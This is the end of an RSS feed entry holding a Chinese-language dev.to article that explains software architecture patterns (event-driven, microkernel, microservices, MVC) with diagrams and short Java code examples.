    &lt;span class="no"&gt;T&lt;/span&gt; &lt;span class="nf"&gt;process&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;T&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Tokenizer&lt;/span&gt; &lt;span class="kd"&gt;implements&lt;/span&gt; &lt;span class="nc"&gt;Filter&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;process&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Arrays&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;asList&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;split&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;" "&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3. 事件驱动架构（Event-Driven Architecture）
&lt;/h3&gt;

&lt;p&gt;适用场景&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;高并发系统（如电商、消息推送）&lt;/li&gt;
&lt;li&gt;系统解耦需求强的场景&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;组件通过发布和订阅事件进行通信，事件总线（或消息代理）作为中介。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffnzegy9p2p71tanf0eu3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffnzegy9p2p71tanf0eu3.png" alt="在这里插入图片描述" width="357" height="268"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;EventBus&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;Map&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Consumer&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Event&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;listeners&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;HashMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;();&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;subscribe&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Consumer&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Event&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;listener&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;listeners&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;computeIfAbsent&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;()).&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;listener&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;publish&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Event&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;listeners&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getOrDefault&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getType&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;of&lt;/span&gt;&lt;span class="o"&gt;()).&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;accept&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  4. 微内核架构（Microkernel Architecture）
&lt;/h3&gt;

&lt;p&gt;适用场景&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;插件化系统（如 IDE、浏览器）&lt;/li&gt;
&lt;li&gt;功能可扩展、核心稳定的产品
&amp;gt; 系统核心负责最小可运行单元，其它功能通过插件机制扩展。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7hgaxhs793omb98z4ma7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7hgaxhs793omb98z4ma7.png" alt="在这里插入图片描述" width="247" height="234"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;interface&lt;/span&gt; &lt;span class="nc"&gt;Plugin&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CoreEngine&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Plugin&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plugins&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;();&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;registerPlugin&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Plugin&lt;/span&gt; &lt;span class="n"&gt;plugin&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plugin&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;plugin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initialize&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  5. 微服务架构（Microservices Architecture）
&lt;/h3&gt;

&lt;p&gt;适用场景&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Web 应用、桌面应用
&amp;gt; 客户端负责用户交互，服务器负责业务处理与数据持久化。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frf70h5hbpyf6gkkeey9g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frf70h5hbpyf6gkkeey9g.png" alt="在这里插入图片描述" width="446" height="224"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@RestController&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;HelloController&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nd"&gt;@GetMapping&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/hello"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;hello&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;"Hello from Server"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  7. 模型-视图-控制器（MVC）
&lt;/h3&gt;

&lt;p&gt;适用场景&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Web 应用框架，如 Spring MVC&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;控制器负责业务流程，模型负责数据结构，视图负责展示逻辑。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxe8eo169llqjt89en731.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxe8eo169llqjt89en731.png" alt="在这里插入图片描述" width="187" height="166"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@Controller&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BlogController&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nd"&gt;@GetMapping&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/blog"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;showBlog&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Model&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addAttribute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"title"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"技术小屋"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;"blogView"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;blockquote&gt;
&lt;p&gt;架构不是写给架构师看的高大图纸，它是代码之上的思想，是系统长期演化的骨骼。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;我以 Java 和 UML 为镜，拆解每一种架构模式的精髓, 从分层到微服务，从事件驱动到插件机制，这些不是孤立的概念，而是你我在开发路上不断遇见的选择题、权衡题、甚至是哲学题。&lt;/p&gt;

&lt;p&gt;🌟 架构之路，没有一劳永逸，只有适配场景与团队认知的最优解。希望这篇文章不仅让你看懂了结构图，也激起你内心对架构「为何如此设计」的怀疑与思考。&lt;/p&gt;

</description>
      <category>java</category>
    </item>
  </channel>
</rss>
